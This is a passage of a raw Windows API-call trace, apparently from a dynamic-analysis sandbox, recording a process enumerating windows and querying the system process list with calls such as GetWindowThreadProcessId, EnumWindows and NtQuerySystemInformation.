[0263.670] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9a4
[0263.670] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x994
[0263.670] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x984
[0263.670] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x974
[0263.670] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x964
[0263.670] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x954
[0263.671] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x944
[0263.671] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x934
[0263.671] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x924
[0263.671] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x914
[0263.671] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x904
[0263.671] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8f4
[0263.672] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8e4
[0263.672] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8d4
[0263.672] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8c4
[0263.672] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8b4
[0263.672] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8a4
[0263.672] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x894
[0263.673] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x884
[0263.673] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x874
[0263.673] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x864
[0263.673] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x854
[0263.673] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x844
[0263.673] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x834
[0263.674] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x824
[0263.674] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x814
[0263.674] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x804
[0263.674] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5a8
[0263.674] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x32c
[0263.674] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x51c
[0263.674] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x634
[0263.674] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5c4
[0263.675] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x418
[0263.675] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x244
[0263.675] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x730
[0263.675] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x640
[0263.675] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x670
[0263.675] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7d0
[0263.676] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x754
[0263.676] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x694
[0263.676] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x704
[0263.676] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xc0
[0263.676] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5ac
[0263.676] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7f4
[0263.677] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x774
[0263.677] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x304
[0263.677] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x544
[0263.677] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c4
[0263.677] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x138
[0263.678] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x788
[0263.678] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c0
[0263.678] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x114
[0263.678] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x1c0
[0263.678] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x23c
[0263.678] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x560
[0263.679] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x564
[0263.679] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7a8
[0263.679] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x434
[0263.691] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x71c
[0263.692] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0263.692] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0263.692] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0263.692] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x58c
[0263.692] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0263.692] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f4
[0263.692] GetWindowThreadProcessId (in: hWnd=0x2002a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x794
[0263.693] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0263.693] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0263.693] EmptyWorkingSet (hProcess=0xffffffffffffffff) returned 1
[0263.931] SleepEx (dwMilliseconds=0x190, bAlertable=1) returned 0x0
[0267.072] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x118d8) returned 0x0
[0267.088] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x118d8) returned 0x0
[0267.094] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x118d8) returned 0x0
[0267.099] EnumWindows (lpEnumFunc=0x1b1a2aac, lParam=0x0) returned 1
[0267.100] GetWindowThreadProcessId (in: hWnd=0x3013c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x538
[0267.100] GetWindowThreadProcessId (in: hWnd=0x10090, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0267.100] GetWindowThreadProcessId (in: hWnd=0x300b2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0267.100] GetWindowThreadProcessId (in: hWnd=0x300ee, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0267.100] GetWindowThreadProcessId (in: hWnd=0x400c0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0267.100] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0267.100] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0267.101] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0267.101] GetWindowThreadProcessId (in: hWnd=0x20028, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0267.101] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0267.101] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0267.101] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0267.101] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0267.101] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0267.101] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0267.102] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0267.102] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0267.102] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0267.102] GetWindowThreadProcessId (in: hWnd=0x500a0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0267.102] GetWindowThreadProcessId (in: hWnd=0x10092, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0267.102] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xf8c
[0267.102] GetWindowThreadProcessId (in: hWnd=0x102ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4e4
[0267.103] GetWindowThreadProcessId (in: hWnd=0x1026c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa14
[0267.103] GetWindowThreadProcessId (in: hWnd=0x102e0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0267.103] GetWindow (hWnd=0x102e0, uCmd=0x4) returned 0x0
[0267.103] IsWindowVisible (hWnd=0x102e0) returned 0
[0267.103] GetWindowThreadProcessId (in: hWnd=0x102e6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0267.103] GetWindow (hWnd=0x102e6, uCmd=0x4) returned 0x0
[0267.103] IsWindowVisible (hWnd=0x102e6) returned 0
[0267.103] GetWindowThreadProcessId (in: hWnd=0x102e2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0267.103] GetWindow (hWnd=0x102e2, uCmd=0x4) returned 0x0
[0267.103] IsWindowVisible (hWnd=0x102e2) returned 0
[0267.103] GetWindowThreadProcessId (in: hWnd=0x102de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0267.103] GetWindow (hWnd=0x102de, uCmd=0x4) returned 0x0
[0267.103] IsWindowVisible (hWnd=0x102de) returned 0
[0267.104] GetWindowThreadProcessId (in: hWnd=0x102dc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0267.104] GetWindow (hWnd=0x102dc, uCmd=0x4) returned 0x0
[0267.104] IsWindowVisible (hWnd=0x102dc) returned 0
[0267.104] GetWindowThreadProcessId (in: hWnd=0x302d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xe68
[0267.104] GetWindowThreadProcessId (in: hWnd=0x4015e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0267.104] GetWindowThreadProcessId (in: hWnd=0x50116, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0267.104] GetWindowThreadProcessId (in: hWnd=0x6011a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x3d4
[0267.104] GetWindowThreadProcessId (in: hWnd=0x900a6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0267.104] GetWindowThreadProcessId (in: hWnd=0x300c6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0267.105] GetWindowThreadProcessId (in: hWnd=0x400d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0267.105] GetWindowThreadProcessId (in: hWnd=0x400f0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0267.105] GetWindowThreadProcessId (in: hWnd=0x300de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0267.105] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0267.105] GetWindowThreadProcessId (in: hWnd=0x400c4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0267.105] GetWindowThreadProcessId (in: hWnd=0x300ac, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0267.105] GetWindowThreadProcessId (in: hWnd=0x10268, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0267.105] GetWindowThreadProcessId (in: hWnd=0x10264, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9f4
[0267.105] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9e4
[0267.106] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9d4
[0267.106] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9c4
[0267.106] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9b4
[0267.106] GetWindowThreadProcessId (in: hWnd=0x10250, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9a4
[0267.106] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x994
[0267.106] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x984
[0267.106] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x974
[0267.107] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x964
[0267.107] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x954
[0267.107] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x944
[0267.107] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x934
[0267.107] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x924
[0267.107] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x914
[0267.107] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x904
[0267.107] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8f4
[0267.107] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8e4
[0267.108] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8d4
[0267.108] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8c4
[0267.108] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8b4
[0267.108] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8a4
[0267.108] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x894
[0267.108] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x884
[0267.108] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x874
[0267.109] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x864
[0267.109] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x854
[0267.109] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x844
[0267.109] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x834
[0267.109] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x824
[0267.109] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x814
[0267.109] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x804
[0267.109] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5a8
[0267.110] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x32c
[0267.110] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x51c
[0267.110] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x634
[0267.110] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5c4
[0267.110] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x418
[0267.110] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x244
[0267.110] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x730
[0267.110] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x640
[0267.111] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x670
[0267.111] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7d0
[0267.111] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x754
[0267.111] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x694
[0267.187] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x704
[0267.187] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xc0
[0267.188] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5ac
[0267.188] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7f4
[0267.188] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x774
[0267.188] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x304
[0267.188] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x544
[0267.188] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c4
[0267.188] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x138
[0267.188] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x788
[0267.189] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c0
[0267.189] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x114
[0267.189] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x1c0
[0267.189] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x23c
[0267.189] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x560
[0267.189] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x564
[0267.190] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7a8
